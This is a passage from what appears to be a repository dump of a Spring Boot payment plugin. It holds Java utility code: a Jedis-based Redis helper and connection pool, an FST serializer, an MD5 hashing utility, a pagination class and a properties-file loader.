{\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * BLPOP 是列表的阻塞式(blocking)弹出原语。 它是 LPOP 命令的阻塞版本，当给定列表内没有任何元素可供弹出的时候，连接将被\n\t * BLPOP 命令阻塞，直到等待超时或发现可弹出元素为止。 当给定多个 key 参数时，按参数 key\n\t * 的先后顺序依次检查各个列表，弹出第一个非空列表的头元素。\n\t * \n\t * 参考：http://redisdoc.com/list/blpop.html 命令行：BLPOP key [key ...] timeout\n\t */\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static List blpop(int timeout, Object... keys) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\tList<byte[]> data = jedis.blpop(timeout, keysToBytesArray(keys));\n\t\t\treturn keyValueListFromBytesList(data);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * BRPOP 是列表的阻塞式(blocking)弹出原语。 它是 RPOP 命令的阻塞版本，当给定列表内没有任何元素可供弹出的时候，连接将被\n\t * BRPOP 命令阻塞，直到等待超时或发现可弹出元素为止。 当给定多个 key 参数时，按参数 key\n\t * 的先后顺序依次检查各个列表，弹出第一个非空列表的尾部元素。 关于阻塞操作的更多信息，请查看 BLPOP 命令， BRPOP 除了弹出元素的位置和\n\t * BLPOP 不同之外，其他表现一致。\n\t * \n\t * 参考：http://redisdoc.com/list/brpop.html 命令行：BRPOP key [key ...] timeout\n\t */\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static List brpop(int timeout, Object... keys) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\tList<byte[]> data = jedis.brpop(timeout, keysToBytesArray(keys));\n\t\t\treturn keyValueListFromBytesList(data);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 使用客户端向 Redis 服务器发送一个 PING ，如果服务器运作正常的话，会返回一个 PONG 。\n\t * 通常用于测试与服务器的连接是否仍然生效，或者用于测量延迟值。\n\t */\n\tpublic static String ping() {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.ping();\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 将一个或多个 member 元素加入到集合 key 当中，已经存在于集合的 member 元素将被忽略。 假如 key 不存在，则创建一个只包含\n\t * member 元素作成员的集合。 当 key 不是集合类型时，返回一个错误。\n\t */\n\tpublic static Long sadd(Object key, Object... members) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.sadd(keyToBytes(key), valuesToBytesArray(members));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回集合 key 的基数(集合中元素的数量)。\n\t */\n\tpublic static Long scard(Object key) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.scard(keyToBytes(key));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 移除并返回集合中的一个随机元素。 如果只想获取一个随机元素，但不想该元素从集合中被移除的话，可以使用 SRANDMEMBER 命令。\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic static <T> T spop(Object key) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn (T) valueFromBytes(jedis.spop(keyToBytes(key)));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回集合 key 中的所有成员。 不存在的 key 被视为空集合。\n\t */\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static Set smembers(Object key) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\tSet<byte[]> data = jedis.smembers(keyToBytes(key));\n\t\t\tSet<Object> result = new HashSet<Object>();\n\t\t\tvalueSetFromBytesSet(data, result);\n\t\t\treturn result;\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 判断 member 元素是否集合 key 的成员。\n\t */\n\tpublic static boolean sismember(Object key, Object member) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.sismember(keyToBytes(key), valueToBytes(member));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回多个集合的交集，多个集合由 keys 指定\n\t */\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static Set sinter(Object... keys) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\tSet<byte[]> data = jedis.sinter(keysToBytesArray(keys));\n\t\t\tSet<Object> result = new HashSet<Object>();\n\t\t\tvalueSetFromBytesSet(data, result);\n\t\t\treturn result;\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回集合中的一个随机元素。\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic static <T> T srandmember(Object key) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn (T) valueFromBytes(jedis.srandmember(keyToBytes(key)));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回集合中的 count 个随机元素。 从 Redis 2.6 版本开始， SRANDMEMBER 命令接受可选的 count 参数： 如果\n\t * count 为正数，且小于集合基数，那么命令返回一个包含 count 个元素的数组，数组中的元素各不相同。 如果 count\n\t * 大于等于集合基数，那么返回整个集合。 如果 count 为负数，那么命令返回一个数组，数组中的元素可能会重复出现多次，而数组的长度为 count\n\t * 的绝对值。 该操作和 SPOP 相似，但 SPOP 将随机元素从集合中移除并返回，而 SRANDMEMBER\n\t * 则仅仅返回随机元素，而不对集合进行任何改动。\n\t */\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static List srandmember(Object key, int count) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\tList<byte[]> data = jedis.srandmember(keyToBytes(key), count);\n\t\t\treturn valueListFromBytesList(data);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 移除集合 key 中的一个或多个 member 元素，不存在的 member 元素会被忽略。\n\t */\n\tpublic static Long srem(Object key, Object... members) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.srem(keyToBytes(key), valuesToBytesArray(members));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回多个集合的并集，多个集合由 keys 指定 不存在的 key 被视为空集。\n\t */\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static Set sunion(Object... keys) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\tSet<byte[]> data = jedis.sunion(keysToBytesArray(keys));\n\t\t\tSet<Object> result = new HashSet<Object>();\n\t\t\tvalueSetFromBytesSet(data, result);\n\t\t\treturn result;\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回一个集合的全部成员，该集合是所有给定集合之间的差集。 不存在的 key 被视为空集。\n\t */\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static Set sdiff(Object... keys) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\tSet<byte[]> data = jedis.sdiff(keysToBytesArray(keys));\n\t\t\tSet<Object> result = new HashSet<Object>();\n\t\t\tvalueSetFromBytesSet(data, result);\n\t\t\treturn result;\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 将一个或多个 member 元素及其 score 值加入到有序集 key 当中。 如果某个 member 已经是有序集的成员，那么更新这个\n\t * member 的 score 值， 并通过重新插入这个 member 元素，来保证该 member 在正确的位置上。\n\t */\n\tpublic static Long zadd(Object key, double score, Object member) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.zadd(keyToBytes(key), score, valueToBytes(member));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\tpublic static Long zadd(Object key, Map<Object, Double> scoreMembers) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\tMap<byte[], Double> para = new HashMap<byte[], Double>();\n\t\t\tfor (Entry<Object, Double> e : scoreMembers.entrySet())\n\t\t\t\tpara.put(valueToBytes(e.getKey()), e.getValue()); // valueToBytes\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// is\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// important\n\t\t\treturn jedis.zadd(keyToBytes(key), para);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回有序集 key 的基数。\n\t */\n\tpublic static Long zcard(Object key) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.zcard(keyToBytes(key));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回有序集 key 中， score 值在 min 和 max 之间(默认包括 score 值等于 min 或 max )的成员的数量。 关于参数\n\t * min 和 max 的详细使用方法，请参考 ZRANGEBYSCORE 命令。\n\t */\n\tpublic static Long zcount(Object key, double min, double max) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.zcount(keyToBytes(key), min, max);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 为有序集 key 的成员 member 的 score 值加上增量 increment 。\n\t */\n\tpublic static Double zincrby(Object key, double score, Object member) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.zincrby(keyToBytes(key), score, valueToBytes(member));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回有序集 key 中，指定区间内的成员。 其中成员的位置按 score 值递增(从小到大)来排序。 具有相同 score\n\t * 值的成员按字典序(lexicographical order )来排列。 如果你需要成员按 score 值递减(从大到小)来排列，请使用\n\t * ZREVRANGE 命令。\n\t */\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static Set zrange(Object key, long start, long end) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\tSet<byte[]> data = jedis.zrange(keyToBytes(key), start, end);\n\t\t\tSet<Object> result = new LinkedHashSet<Object>(); // 有序集合必须\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// LinkedHashSet\n\t\t\tvalueSetFromBytesSet(data, result);\n\t\t\treturn result;\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回有序集 key 中，指定区间内的成员。 其中成员的位置按 score 值递减(从大到小)来排列。 具有相同 score\n\t * 值的成员按字典序的逆序(reverse lexicographical order)排列。 除了成员按 score 值递减的次序排列这一点外，\n\t * ZREVRANGE 命令的其他方面和 ZRANGE 命令一样。\n\t */\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static Set zrevrange(Object key, long start, long end) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\tSet<byte[]> data = jedis.zrevrange(keyToBytes(key), start, end);\n\t\t\tSet<Object> result = new LinkedHashSet<Object>(); // 有序集合必须\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// LinkedHashSet\n\t\t\tvalueSetFromBytesSet(data, result);\n\t\t\treturn result;\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回有序集 key 中，所有 score 值介于 min 和 max 之间(包括等于 min 或 max )的成员。 有序集成员按 score\n\t * 值递增(从小到大)次序排列。\n\t */\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static Set zrangeByScore(Object key, double min, double max) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\tSet<byte[]> data = jedis.zrangeByScore(keyToBytes(key), min, max);\n\t\t\tSet<Object> result = new LinkedHashSet<Object>(); // 有序集合必须\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// LinkedHashSet\n\t\t\tvalueSetFromBytesSet(data, result);\n\t\t\treturn result;\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回有序集 key 中成员 member 的排名。其中有序集成员按 score 值递增(从小到大)顺序排列。 排名以 0 为底，也就是说，\n\t * score 值最小的成员排名为 0 。 使用 ZREVRANK 命令可以获得成员按 score 值递减(从大到小)排列的排名。\n\t */\n\tpublic static Long zrank(Object key, Object member) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.zrank(keyToBytes(key), valueToBytes(member));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回有序集 key 中成员 member 的排名。其中有序集成员按 score 值递减(从大到小)排序。 排名以 0 为底，也就是说， score\n\t * 值最大的成员排名为 0 。 使用 ZRANK 命令可以获得成员按 score 值递增(从小到大)排列的排名。\n\t */\n\tpublic static Long zrevrank(Object key, Object member) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.zrevrank(keyToBytes(key), valueToBytes(member));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 移除有序集 key 中的一个或多个成员，不存在的成员将被忽略。 当 key 存在但不是有序集类型时，返回一个错误。\n\t */\n\tpublic static Long zrem(Object key, Object... members) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.zrem(keyToBytes(key), valuesToBytesArray(members));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回有序集 key 中，成员 member 的 score 值。 如果 member 元素不是有序集 key 的成员，或 key 不存在，返回\n\t * nil 。\n\t */\n\tpublic static Double zscore(Object key, Object member) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.zscore(keyToBytes(key), valueToBytes(member));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\tpublic static long publish(Object channel, String message) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.publish(keyToBytes(channel), valueToBytes(message));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\tpublic static void subscribe(BinaryJedisPubSub jedisPubSub, Object... channels) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\tjedis.subscribe(jedisPubSub, keyToBytes(channels));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static List valueListFromBytesList(List<byte[]> data) {\n\t\tList<Object> result = new ArrayList<Object>();\n\t\tfor (byte[] d : data)\n\t\t\tresult.add(valueFromBytes(d));\n\t\treturn result;\n\t}\n\n\tpublic static Jedis getJedis() {\n\t\treturn me.getJedis();\n\t}\n\n\tpublic static void close(Jedis jedis) {\n\t\tme.close(jedis);\n\t}\n\n\tpublic static byte[] keyToBytes(Object key) {\n\t\tString keyStr = getKeyName(key);\n\t\treturn FstSerializer.keyToBytes(keyStr);\n\t}\n\n\tpublic static String getKeyName(Object key) {\n\t\treturn key.toString();\n\t}\n\n\tpublic static Object keyFromBytes(byte[] bytes) {\n\t\treturn FstSerializer.keyFromBytes(bytes);\n\t}\n\n\tpublic static byte[][] keysToBytesArray(Object... keys) {\n\t\tbyte[][] result = new byte[keys.length][];\n\t\tfor (int i = 0; i < result.length; i++)\n\t\t\tresult[i] = keyToBytes(keys[i]);\n\t\treturn result;\n\t}\n\n\tpublic static byte[] fieldToBytes(Object field) {\n\t\treturn FstSerializer.fieldToBytes(field);\n\t}\n\n\tpublic static Object fieldFromBytes(byte[] bytes) {\n\t\treturn FstSerializer.fieldFromBytes(bytes);\n\t}\n\n\tpublic static byte[][] fieldsToBytesArray(Object... fieldsArray) {\n\t\tbyte[][] data = new byte[fieldsArray.length][];\n\t\tfor (int i = 0; i < data.length; i++)\n\t\t\tdata[i] = fieldToBytes(fieldsArray[i]);\n\t\treturn data;\n\t}\n\n\tpublic static void fieldSetFromBytesSet(Set<byte[]> data, Set<Object> result) {\n\t\tfor (byte[] fieldBytes : data) {\n\t\t\tresult.add(fieldFromBytes(fieldBytes));\n\t\t}\n\t}\n\n\tpublic static byte[] valueToBytes(Object value) {\n\t\treturn FstSerializer.valueToBytes(value);\n\t}\n\n\tpublic static Object valueFromBytes(byte[] bytes) {\n\t\treturn FstSerializer.valueFromBytes(bytes);\n\t}\n\n\tpublic static byte[][] valuesToBytesArray(Object... valuesArray) {\n\t\tbyte[][] data = new byte[valuesArray.length][];\n\t\tfor (int i = 0; i < data.length; i++)\n\t\t\tdata[i] = valueToBytes(valuesArray[i]);\n\t\treturn data;\n\t}\n\n\tpublic static void valueSetFromBytesSet(Set<byte[]> data, Set<Object> result) {\n\t\tfor (byte[] valueBytes : data) {\n\t\t\tresult.add(valueFromBytes(valueBytes));\n\t\t}\n\t}\n\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static List keyValueListFromBytesList(List<byte[]> data) {\n\t\tList<Object> result = new ArrayList<Object>();\n\t\tresult.add(keyFromBytes(data.get(0)));\n\t\tresult.add(valueFromBytes(data.get(1)));\n\t\treturn result;\n\t}\n\n}\n\n/**\n * 连接池\n * \n * @author lenovo\n *\n */\nclass CachePool {\n\tprivate static String host;\n\tprivate static int port;\n\tprivate static String password;\n\tprivate static JedisPool pool;\n\n\tprotected final ThreadLocal<Jedis> threadLocalJedis = new ThreadLocal<Jedis>();\n\n\tpublic CachePool() {\n\t}\n\n\tpublic CachePool(String host, int port) {\n\t\tif (StringUtils.isBlank(host)) {\n\t\t\tthrow new IllegalArgumentException(\"host can not be blank.\");\n\t\t}\n\t\tthis.host = host;\n\t\tif (port == 0) {\n\t\t\tthis.port = 6379;\n\t\t} else {\n\t\t\tthis.port = port;\n\t\t}\n\t\tinit();\n\t}\n\n\tpublic CachePool(String host, int port, String password) {\n\t\tif (StringUtils.isBlank(host)) {\n\t\t\tthrow new IllegalArgumentException(\"host can not be blank.\");\n\t\t}\n\t\tthis.host = host;\n\t\tif (port == 0) {\n\t\t\tthis.port = 6379;\n\t\t} else {\n\t\t\tthis.port = port;\n\t\t}\n\t\tif (StringUtils.isBlank(password)) {\n\t\t\tthrow new IllegalArgumentException(\"password can not be blank.\");\n\t\t}\n\t\tthis.password = password;\n\t\tinit();\n\t}\n\n\tpublic static void init() {\n\t\tsynchronized (CachePool.class) {\n\t\t\tJedisPoolConfig config = new JedisPoolConfig();\n\t\t\tconfig.setMaxTotal(500);\n\t\t\tconfig.setMaxIdle(100);\n\t\t\tconfig.setMinIdle(100);\n\t\t\tconfig.setTestWhileIdle(true);\n\t\t\tconfig.setMinEvictableIdleTimeMillis(60000);\n\t\t\tconfig.setTimeBetweenEvictionRunsMillis(30000);\n\t\t\tconfig.setMaxWaitMillis(3 * 1000);\n\t\t\tconfig.setTestOnBorrow(true);\n\t\t\tconfig.setTestOnReturn(true);\n\t\t\tconfig.setTestWhileIdle(true);\n\t\t\tconfig.setSoftMinEvictableIdleTimeMillis(1000);\n\t\t\tconfig.setNumTestsPerEvictionRun(100);\n\t\t\tJedisPool pool = new JedisPool(config, host, port, 60000, password);\n\t\t\tsetJedisPool(pool);\n\n\t\t}\n\n\t}\n\n\t/**\n\t * get Jedis\n\t * \n\t * @return\n\t */\n\tpublic Jedis getJedis() {\n\t\tJedis jedis = threadLocalJedis.get();\n\t\treturn jedis != null ? jedis : getJedisPool().getResource();\n\t}\n\n\t/**\n\t * close Jedis\n\t * \n\t * @param jedis\n\t */\n\tpublic void close(Jedis jedis) {\n\t\tif (threadLocalJedis.get() == null && jedis != null)\n\t\t\tjedis.close();\n\t}\n\n\tpublic Jedis getThreadLocalJedis() {\n\t\treturn threadLocalJedis.get();\n\t}\n\n\tpublic void setThreadLocalJedis(Jedis jedis) {\n\t\tthreadLocalJedis.set(jedis);\n\t}\n\n\tpublic void removeThreadLocalJedis() {\n\t\tthreadLocalJedis.remove();\n\t}\n\n\tpublic static JedisPool getJedisPool() {\n\t\treturn pool;\n\t}\n\n\tpublic static void setJedisPool(JedisPool pool) {\n\t\tCachePool.pool = pool;\n\t}\n\n}\n\n/**\n * 序列化\n * \n * @author lenovo\n *\n */\nclass FstSerializer {\n\tprivate final static Logger log = Logger.getLogger(FstSerializer.class);\n\n\tpublic static byte[] keyToBytes(String key) {\n\t\treturn SafeEncoder.encode(key);\n\t}\n\n\tpublic static String keyFromBytes(byte[] bytes) {\n\t\treturn SafeEncoder.encode(bytes);\n\t}\n\n\tpublic static byte[] fieldToBytes(Object field) {\n\t\treturn valueToBytes(field);\n\t}\n\n\tpublic static Object fieldFromBytes(byte[] bytes) {\n\t\treturn valueFromBytes(bytes);\n\t}\n\n\tpublic static byte[] valueToBytes(Object value) {\n\t\tFSTObjectOutput fstOut = null;\n\t\ttry {\n\t\t\tByteArrayOutputStream bytesOut = new ByteArrayOutputStream();\n\t\t\tfstOut = new FSTObjectOutput(bytesOut);\n\t\t\tfstOut.writeObject(value);\n\t\t\tfstOut.flush();\n\t\t\treturn bytesOut.toByteArray();\n\t\t} catch (Exception e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t} finally {\n\t\t\tif (fstOut != null)\n\t\t\t\ttry {\n\t\t\t\t\tfstOut.close();\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\tlog.error(e.getMessage(), e);\n\t\t\t\t}\n\t\t}\n\t}\n\n\tpublic static Object valueFromBytes(byte[] bytes) {\n\t\tif (bytes == null || bytes.length == 0)\n\t\t\treturn null;\n\n\t\tFSTObjectInput fstInput = null;\n\t\ttry {\n\t\t\tfstInput = new FSTObjectInput(new ByteArrayInputStream(bytes));\n\t\t\treturn fstInput.readObject();\n\t\t} catch (Exception e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t} finally {\n\t\t\tif (fstInput != null)\n\t\t\t\ttry {\n\t\t\t\t\tfstInput.close();\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\tlog.error(e.getMessage(), e);\n\t\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/util/MD5Util.java",
    "content": "package com.springboot.util;\n\nimport java.security.MessageDigest;\n\npublic class MD5Util {\n\tprivate static String byteArrayToHexString(byte b[]) {\n\t\tStringBuffer resultSb = new StringBuffer();\n\t\tfor (int i = 0; i < b.length; i++)\n\t\t\tresultSb.append(byteToHexString(b[i]));\n\n\t\treturn resultSb.toString();\n\t}\n\n\tprivate static String byteToHexString(byte b) {\n\t\tint n = b;\n\t\tif (n < 0)\n\t\t\tn += 256;\n\t\tint d1 = n / 16;\n\t\tint d2 = n % 16;\n\t\treturn hexDigits[d1] + hexDigits[d2];\n\t}\n\n\tpublic static String MD5Encode(String origin, String charsetname) {\n\t\tString resultString = null;\n\t\ttry {\n\t\t\tresultString = new String(origin);\n\t\t\tMessageDigest md = MessageDigest.getInstance(\"MD5\");\n\t\t\tif (charsetname == null || \"\".equals(charsetname))\n\t\t\t\tresultString = byteArrayToHexString(md.digest(resultString.getBytes()));\n\t\t\telse\n\t\t\t\tresultString = byteArrayToHexString(md.digest(resultString.getBytes(charsetname)));\n\t\t} catch (Exception exception) {\n\t\t}\n\t\treturn resultString;\n\t}\n\n\tprivate static final String hexDigits[] = { \"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"a\", \"b\", \"c\", \"d\",\n\t\t\t\"e\", \"f\" };\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/util/Pager.java",
    "content": "\npackage com.springboot.util;\n\npublic class Pager {\n\tprivate Integer startRecord;\n\tprivate Integer endRecord;\n\n\tprivate Integer pageIndex;\n\tprivate Integer pageSize;\n\n\tpublic Pager() {\n\n\t}\n\n\tpublic Pager(Integer startRecord, Integer endRecord) {\n\t\tthis.startRecord = startRecord;\n\t\tthis.endRecord = endRecord;\n\t\tif (null == startRecord || startRecord < 0 || null == endRecord || endRecord < 0 || endRecord < startRecord) {\n\t\t\tthis.pageSize = 10;\n\t\t\tthis.pageIndex = 1;\n\t\t} else {\n\t\t\tthis.pageSize = endRecord - startRecord + 1;\n\t\t\tthis.pageIndex = endRecord / this.pageSize;\n\t\t\tif (endRecord % this.pageSize > 0) {\n\t\t\t\tthis.pageIndex += 1;\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic Integer getStartRecord() {\n\t\treturn startRecord;\n\t}\n\n\tpublic void setStartRecord(Integer startRecord) {\n\t\tthis.startRecord = startRecord;\n\t}\n\n\tpublic Integer getEndRecord() {\n\t\treturn endRecord;\n\t}\n\n\tpublic void setEndRecord(Integer endRecord) {\n\t\tthis.endRecord = endRecord;\n\t}\n\n\tpublic Integer getPageSize() {\n\t\treturn this.pageSize;\n\t}\n\n\tpublic Integer getPageIndex() {\n\t\treturn this.pageIndex;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/util/PropKit.java",
    "content": "\npackage com.springboot.util;\n\nimport java.io.File;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * PropKit. PropKit can load properties file from CLASSPATH or File object.\n */\npublic class PropKit {\n\n\tprivate static PropertiesUtil prop = null;\n\tprivate static final ConcurrentHashMap<String, PropertiesUtil> map = new ConcurrentHashMap<String, PropertiesUtil>();\n\n\tprivate PropKit() {\n\t}\n\n\t/**\n\t * Using the properties file. It will loading the properties file if not\n\t * loading.\n\t * \n\t * @see #use(String, String)\n\t */\n\tpublic static PropertiesUtil use(String fileName) {\n\t\treturn use(fileName, \"UTF-8\");\n\t}\n\n\t/**\n\t * Using the properties file. It will loading the properties file if not\n\t * loading.\n\t * <p>\n\t * Example:<br>\n\t * PropKit.use(\"config.txt\", \"UTF-8\");<br>\n\t * PropKit.use(\"other_config.txt\", \"UTF-8\");<br>\n\t * <br>\n\t * String userName = PropKit.get(\"userName\");<br>\n\t * String password = PropKit.get(\"password\");<br>\n\t * <br>\n\t * \n\t * userName = PropKit.use(\"other_config.txt\").get(\"userName\");<br>\n\t * password = PropKit.use(\"other_config.txt\").get(\"password\");<br>\n\t * <br>\n\t * \n\t * PropKit.use(\"com/jfinal/config_in_sub_directory_of_classpath.txt\");\n\t * \n\t * @param fileName\n\t *            the properties file's name in classpath or the sub directory\n\t *            of classpath\n\t * @param encoding\n\t *            the encoding\n\t */\n\tpublic static PropertiesUtil use(String fileName, String encoding) {\n\t\tPropertiesUtil result = map.get(fileName);\n\t\tif (result == null) {\n\t\t\tresult = new PropertiesUtil(fileName, encoding);\n\t\t\tmap.put(fileName, result);\n\t\t\tif (PropKit.prop == null) {\n\t\t\t\tPropKit.prop = result;\n\t\t\t}\n\t\t}\n\t\treturn result;\n\t}\n\n\t/**\n\t * Using the properties file bye File object. It will loading the properties\n\t * file if not loading.\n\t * \n\t * @see #use(File, String)\n\t */\n\tpublic static PropertiesUtil use(File file) {\n\t\treturn use(file, \"UTF-8\");\n\t}\n\n\t/**\n\t * Using the properties file bye File object. It will loading the properties\n\t * file if not loading.\n\t * <p>\n\t * Example:<br>\n\t * PropKit.use(new File(\"/var/config/my_config.txt\"), \"UTF-8\");<br>\n\t * Strig userName = PropKit.use(\"my_config.txt\").get(\"userName\");\n\t * \n\t * @param file\n\t *            the properties File object\n\t * @param encoding\n\t *            the encoding\n\t */\n\tpublic static PropertiesUtil use(File file, String encoding) {\n\t\tPropertiesUtil result = map.get(file.getName());\n\t\tif (result == null) {\n\t\t\tresult = new PropertiesUtil(file, encoding);\n\t\t\tmap.put(file.getName(), result);\n\t\t\tif (PropKit.prop == null) {\n\t\t\t\tPropKit.prop = result;\n\t\t\t}\n\t\t}\n\t\treturn result;\n\t}\n\n\tpublic static PropertiesUtil useless(String fileName) {\n\t\tPropertiesUtil previous = map.remove(fileName);\n\t\tif (PropKit.prop == previous) {\n\t\t\tPropKit.prop = null;\n\t\t}\n\t\treturn previous;\n\t}\n\n\tpublic static void clear() {\n\t\tprop = null;\n\t\tmap.clear();\n\t}\n\n\tpublic static PropertiesUtil getProp() {\n\t\tif (prop == null) {\n\t\t\tthrow new IllegalStateException(\n\t\t\t\t\t\"Load propties file by invoking PropKit.use(String fileName) method first.\");\n\t\t}\n\t\treturn prop;\n\t}\n\n\tpublic static PropertiesUtil getProp(String fileName) {\n\t\treturn map.get(fileName);\n\t}\n\n\tpublic static String get(String key) {\n\t\treturn getProp().get(key);\n\t}\n\n\tpublic static String get(String key, String defaultValue) {\n\t\treturn getProp().get(key, defaultValue);\n\t}\n\n\tpublic static Integer getInt(String key) {\n\t\treturn getProp().getInt(key);\n\t}\n\n\tpublic static Integer getInt(String key, Integer defaultValue) {\n\t\treturn getProp().getInt(key, defaultValue);\n\t}\n\n\tpublic static Long getLong(String key) {\n\t\treturn getProp().getLong(key);\n\t}\n\n\tpublic static Long getLong(String key, Long defaultValue) {\n\t\treturn getProp().getLong(key, defaultValue);\n\t}\n\n\tpublic static Boolean getBoolean(String key) {\n\t\treturn getProp().getBoolean(key);\n\t}\n\n\tpublic static Boolean getBoolean(String key, Boolean defaultValue) {\n\t\treturn getProp().getBoolean(key, defaultValue);\n\t}\n\n\tpublic static boolean containsKey(String key) {\n\t\treturn getProp().containsKey(key);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/util/PropertiesUtil.java",
